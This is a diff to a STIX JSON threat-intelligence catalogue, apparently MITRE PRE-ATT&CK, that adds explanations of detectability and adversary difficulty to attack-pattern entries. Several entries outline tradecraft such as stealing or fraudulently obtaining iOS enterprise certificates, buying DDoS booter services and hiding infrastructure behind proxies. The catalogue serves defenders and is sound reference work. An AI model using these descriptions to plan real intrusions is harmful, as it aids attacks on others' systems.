-            "description": "Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: LUCKYCAT2012)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: LUCKYCAT2012)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Difficult, but defender is well aware of technique and attempts to find discrepancies.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary has a variety of solutions, ranging in difficulty, that can be employed (e.g., BGP hijacking, tunneling, reflection, multi-hop, etc.)\nAdversary can also use misattributable credentials to obtain servers, build environment, [https://aws.amazon.com Amazon Web Services] (AWS) accounts, etc.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4318,16 +4558,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Difficult, but defender is well aware of technique and attempts to find discrepancies.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Adversary has a variety of solutions, ranging in difficulty, that can be employed (e.g., BGP hijacking, tunneling, reflection, multi-hop, etc.)\nAdversary can also use misattributable credentials to obtain servers, build environment, [https://aws.amazon.com Amazon Web Services] (AWS) accounts, etc."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--72c8d526-1247-42d4-919c-6d7a31ca8f39",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Obfuscate infrastructure",
-            "description": "Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: FireEyeAPT17)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: FireEyeAPT17)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will generally not have visibility into their infrastructure.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Building and testing infrastructure and obfuscating it to protect it against intrusions are a standard part of the adversary process in preparing to conduct an operation against a target.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4349,16 +4591,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defender will generally not have visibility into their infrastructure.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Building and testing infrastructure and obfuscating it to protect it against intrusions are a standard part of the adversary process in preparing to conduct an operation against a target."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--9d234df0-2344-4db4-bc0f-8de9c6c071a7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Obfuscate operational infrastructure",
-            "description": "Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: DellComfooMasters)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: DellComfooMasters)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: While possible to detect given a significant sample size, depending on how the unique identifier is used detection may be difficult as similar patterns may be employed elsewhere (e.g., content hosting providers, account reset URLs).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: An adversary can easily generate pseudo-random identifiers to associate with a specific target, include the indicator as part of a URL and then identify which target was successful.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4380,16 +4624,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "While possible to detect given a significant sample size, depending on how the unique identifier is used detection may be difficult as similar patterns may be employed elsewhere (e.g., content hosting providers, account reset URLs).",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "An adversary can easily generate pseudo-random identifiers to associate with a specific target, include the indicator as part of a URL and then identify which target was successful."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--357e137c-7589-4af1-895c-3fbad35ea4d2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Obfuscate or encrypt code",
-            "description": "Obfuscation is the act of creating code that is more difficult to understand. Encoding transforms the code using a publicly available format. Encryption transforms the code such that it requires a key to reverse the encryption. (Citation: CylanceOpCleaver)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "Obfuscation is the act of creating code that is more difficult to understand. Encoding transforms the code using a publicly available format. Encryption transforms the code such that it requires a key to reverse the encryption. (Citation: CylanceOpCleaver)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Detecting encryption is easy, decrypting/deobfuscating is hard.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Various solutions exist for the adversary to use.  This technique is commonly used to prevent attribution and evade detection.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4411,16 +4657,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Detecting encryption is easy, decrypting/deobfuscating is hard.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Various solutions exist for the adversary to use.  This technique is commonly used to prevent attribution and evade detection."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--c2ffd229-11bb-4fd8-9208-edbe97b14c93",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Obfuscation or cryptography",
-            "description": "Obfuscation is the act of creating communications that are more difficult to understand.  Encryption transforms the communications such that it requires a key to reverse the encryption. (Citation: FireEyeAPT28)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Obfuscation is the act of creating communications that are more difficult to understand.  Encryption transforms the communications such that it requires a key to reverse the encryption. (Citation: FireEyeAPT28)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Techniques and signatures are hard to detect. Advanced communications and exfiltration channels are nearly indistinguishable from background noise.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Known approaches include the use of cryptography for communications, rotating drops sites (such as random list of chat fora), and one-time [https://aws.amazon.com/s3/ Simple Storage Service (S3)] buckets, etc.  All require sophisticated knowledge, infrastructure, and funding.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4442,16 +4690,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Techniques and signatures are hard to detect. Advanced communications and exfiltration channels are nearly indistinguishable from background noise.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Known approaches include the use of cryptography for communications, rotating drops sites (such as random list of chat fora), and one-time [https://aws.amazon.com/s3/ Simple Storage Service (S3)] buckets, etc.  All require sophisticated knowledge, infrastructure, and funding."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--d58f3996-e293-4f69-a2c8-0e1851cb8297",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Obtain Apple iOS enterprise distribution key pair and certificate",
-            "description": "The adversary can obtain an Apple iOS enterprise distribution key pair and certificate and use it to distribute malicious apps directly to Apple iOS devices without the need to publish the apps to the Apple App Store (where the apps could potentially be detected). (Citation: Apple Developer Enterprise Porgram Apps) (Citation: Fruit vs Zombies) (Citation: WIRELURKER) (Citation: Sideloading Change)\n\nDetectable by Common Defenses: Partial\n\nDifficulty for the Adversary: No",
+            "description": "The adversary can obtain an Apple iOS enterprise distribution key pair and certificate and use it to distribute malicious apps directly to Apple iOS devices without the need to publish the apps to the Apple App Store (where the apps could potentially be detected). (Citation: Apple Developer Enterprise Porgram Apps) (Citation: Fruit vs Zombies) (Citation: WIRELURKER) (Citation: Sideloading Change)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Starting in iOS 9, Apple has changed the user interface when installing apps to better indicate to users the potential implications of installing apps signed by an enterprise distribution key rather than from Apple's App Store and to make it more difficult for users to inadvertently install these apps. Additionally, enterprise management controls are available that can be imposed to prevent installing these apps. Also, enterprise mobility management / mobile device management (EMM/MDM) systems can be used to scan for the presence of undesired apps on enterprise mobile devices.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Apple requires a DUNS number, corporate documentation, and $299 to obtain an enterprise distribution certificate. Additionally, Apple revokes certificates if they discover malicious use.  However, the enrollment information could be falsified to Apple by an adversary, or an adversary could steal an existing enterprise distribution certificate (and the corresponding private key) from a business that already possesses one.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4485,16 +4735,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Partial",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Starting in iOS 9, Apple has changed the user interface when installing apps to better indicate to users the potential implications of installing apps signed by an enterprise distribution key rather than from Apple's App Store and to make it more difficult for users to inadvertently install these apps. Additionally, enterprise management controls are available that can be imposed to prevent installing these apps. Also, enterprise mobility management / mobile device management (EMM/MDM) systems can be used to scan for the presence of undesired apps on enterprise mobile devices.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Apple requires a DUNS number, corporate documentation, and $299 to obtain an enterprise distribution certificate. Additionally, Apple revokes certificates if they discover malicious use.  However, the enrollment information could be falsified to Apple by an adversary, or an adversary could steal an existing enterprise distribution certificate (and the corresponding private key) from a business that already possesses one."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--3d1488a6-59e6-455a-8b80-78b53edc33fe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Obtain booter/stressor subscription",
-            "description": "Configure and setup booter/stressor services, often intended for server stress testing, to enable denial of service attacks. (Citation: Krebs-Anna) (Citation: Krebs-Booter) (Citation: Krebs-Bazaar)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Configure and setup booter/stressor services, often intended for server stress testing, to enable denial of service attacks. (Citation: Krebs-Anna) (Citation: Krebs-Booter) (Citation: Krebs-Bazaar)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Purchase of booster services is not observable; potentially can trace booster service used to origin of sale, yet not before attack is executed. Furthermore, subscription does not automatically mean foul intention.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easily accessible and used to launch DDoS attacks by even novice Internet users, and can be purchased from providers for a nominal fee, some of which even accept credit cards and PayPal payments to do.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4524,16 +4776,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Purchase of booster services is not observable; potentially can trace booster service used to origin of sale, yet not before attack is executed. Furthermore, subscription does not automatically mean foul intention.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Easily accessible and used to launch DDoS attacks by even novice Internet users, and can be purchased from providers for a nominal fee, some of which even accept credit cards and PayPal payments to do."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--46017368-6e09-412b-a29c-385be201cc03",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Obtain domain/IP registration information",
-            "description": "For a computing resource to be accessible to the public, domain names and IP addresses must be registered with an authorized organization. (Citation: Google Domains WHOIS) (Citation: FunAndSun2012) (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "For a computing resource to be accessible to the public, domain names and IP addresses must be registered with an authorized organization. (Citation: Google Domains WHOIS) (Citation: FunAndSun2012) (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Open access to DNS registration/routing information is inherent in Internet architecture.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Proliferation of DNS information makes registration information functionally freely available.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4563,16 +4817,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Open access to DNS registration/routing information is inherent in Internet architecture.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Proliferation of DNS information makes registration information functionally freely available."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--68b45999-bb0c-4829-bbd0-75d6dac57c94",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Obtain templates/branding materials",
-            "description": "Templates and branding materials may be used by an adversary to add authenticity to social engineering message. (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Templates and branding materials may be used by an adversary to add authenticity to social engineering message. (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary may download templates or branding from publicly available presentations that the defender can't monitor.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Some branding information is publicly available when a corporation publishes their briefings to the internet which provides insight into branding information and template materials.  An exhaustive list of templating and branding is likely not available on the internet.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4594,16 +4850,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Adversary may download templates or branding from publicly available presentations that the defender can't monitor.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Some branding information is publicly available when a corporation publishes their briefings to the internet which provides insight into branding information and template materials.  An exhaustive list of templating and branding is likely not available on the internet."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--27f3ddf8-1b77-4cc2-a4c0-e6da3d31a768",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Obtain/re-use payloads",
-            "description": "A payload is the part of the malware which performs a malicious action. The adversary may re-use payloads when the needed capability is already available. (Citation: SonyDestover)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "A payload is the part of the malware which performs a malicious action. The adversary may re-use payloads when the needed capability is already available. (Citation: SonyDestover)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary will likely use code repositories, but detecting an adversary acquiring a payload would require the defender to be monitoring the code repository where the payload is stored. If the adversary re-uses payloads, this allows the defender to create signatures to detect using these known indicators of compromise (e.g., hashes).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Several exploit repositories and tool suites exist for re-use and tailoring.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4625,16 +4883,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Adversary will likely use code repositories, but detecting an adversary acquiring a payload would require the defender to be monitoring the code repository where the payload is stored. If the adversary re-uses payloads, this allows the defender to create signatures to detect using these known indicators of compromise (e.g., hashes).",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Several exploit repositories and tool suites exist for re-use and tailoring."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--13ff5307-b650-405a-9664-d8076930b2bf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Port redirector",
-            "description": "Redirecting a communication request from one address and port number combination to another. May be set up to obfuscate the final location of communications that will occur in later stages of an attack. (Citation: SecureWorks HTRAN Analysis)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Redirecting a communication request from one address and port number combination to another. May be set up to obfuscate the final location of communications that will occur in later stages of an attack. (Citation: SecureWorks HTRAN Analysis)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be observable to those being attacked.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS providers).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4656,16 +4916,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be observable to those being attacked.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS providers)."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--df42286d-dfbd-4455-bc9d-aef52ac29aa7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Post compromise tool development",
-            "description": "After compromise, an adversary may utilize additional tools to facilitate their end goals. This may include tools to further explore the system, move laterally within a network, exfiltrate data, or destroy data. (Citation: SofacyHits)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "After compromise, an adversary may utilize additional tools to facilitate their end goals. This may include tools to further explore the system, move laterally within a network, exfiltrate data, or destroy data. (Citation: SofacyHits)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Post compromise tool development is a standard part of the adversary's protocol in developing the necessary tools required to completely conduct an attack.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4687,16 +4949,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Adversary will likely use code repositories, but development will be performed on their local systems.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Post compromise tool development is a standard part of the adversary's protocol in developing the necessary tools required to completely conduct an attack."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--3160347f-11ac-44a3-9640-a648b3c17a8f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Private whois services",
-            "description": "Every domain registrar maintains a publicly viewable database that displays contact information for every registered domain. Private 'whois' services display alternative information, such as their own company data, rather than the owner of the domain. (Citation: APT1)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "Every domain registrar maintains a publicly viewable database that displays contact information for every registered domain. Private 'whois' services display alternative information, such as their own company data, rather than the owner of the domain. (Citation: APT1)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Algorithmically possible to detect COTS service usage or use of non-specific mailing addresses (PO Boxes, drop sites, etc.)\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commercially available or easy to set up and/or register using a disposable email account.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4718,16 +4982,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Algorithmically possible to detect COTS service usage or use of non-specific mailing addresses (PO Boxes, drop sites, etc.)",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Commercially available or easy to set up and/or register using a disposable email account."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--2141aea0-cf38-49aa-9e51-ac34092bc30a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Procure required equipment and software",
-            "description": "An adversary will require some physical hardware and software. They may only need a lightweight set-up if most of their activities will take place using on-line infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems. (Citation: NYTStuxnet)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary will require some physical hardware and software. They may only need a lightweight set-up if most of their activities will take place using on-line infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems. (Citation: NYTStuxnet)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Outside of highly specific or rare HW, nearly impossible to detect and track.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Ease and availability of current hardware and software, mobile phones (cash and go phones), and additional online technology simplifies adversary process to achieve this technique (and possibly without traceability). The adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4749,16 +5015,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Outside of highly specific or rare HW, nearly impossible to detect and track.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Ease and availability of current hardware and software, mobile phones (cash and go phones), and additional online technology simplifies adversary process to achieve this technique (and possibly without traceability). The adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS)."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--b14f6692-b613-44bb-9f30-8381a5ff10d5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Proxy/protocol relays",
-            "description": "Proxies act as an intermediary for clients seeking resources from other systems. Using a proxy may make it more difficult to track back the origin of a network communication. (Citation: APT1)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Proxies act as an intermediary for clients seeking resources from other systems. Using a proxy may make it more difficult to track back the origin of a network communication. (Citation: APT1)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defenders with standard capabilities will traditionally be able to see the first hop but not all the subsequent earlier hops an adversary takes to be able to conduct reconnaissance.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Proxies are readily available for the adversary with both free and cost-based options available.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4780,16 +5048,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defenders with standard capabilities will traditionally be able to see the first hop but not all the subsequent earlier hops an adversary takes to be able to conduct reconnaissance.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Proxies are readily available for the adversary with both free and cost-based options available."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--702dc95d-3266-42dc-9eef-4a19e2445148",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Push-notification client-side exploit",
-            "description": "A technique to push an [https://www.apple.com/ios iOS] or [https://www.android.com Android] MMS-type message to the target which does not require interaction on the part of the target to be successful. (Citation: BlackHat Stagefright) (Citation: WikiStagefright)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "A technique to push an [https://www.apple.com/ios iOS] or [https://www.android.com Android] MMS-type message to the target which does not require interaction on the part of the target to be successful. (Citation: BlackHat Stagefright) (Citation: WikiStagefright)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: For non-corporate cellular devices not joined to the corporate network, it is not possible to detect an adversary's use of the technique because messages traverse networks outside of the control of the employer. For corporate cellular devices which are joined to the corporate network, monitoring of messages and ability to patch against push attacks is possible, assuming they are fully monitored.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easily executed technique to push an MMS-type message to the target which does not require interaction on the part of the target to be successful.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4815,16 +5085,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "For non-corporate cellular devices not joined to the corporate network, it is not possible to detect an adversary's use of the technique because messages traverse networks outside of the control of the employer. For corporate cellular devices which are joined to the corporate network, monitoring of messages and ability to patch against push attacks is possible, assuming they are fully monitored.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Easily executed technique to push an MMS-type message to the target which does not require interaction on the part of the target to be successful."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--acfcbe7a-4dbc-4471-be2b-134faf479e3e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Receive KITs/KIQs and determine requirements",
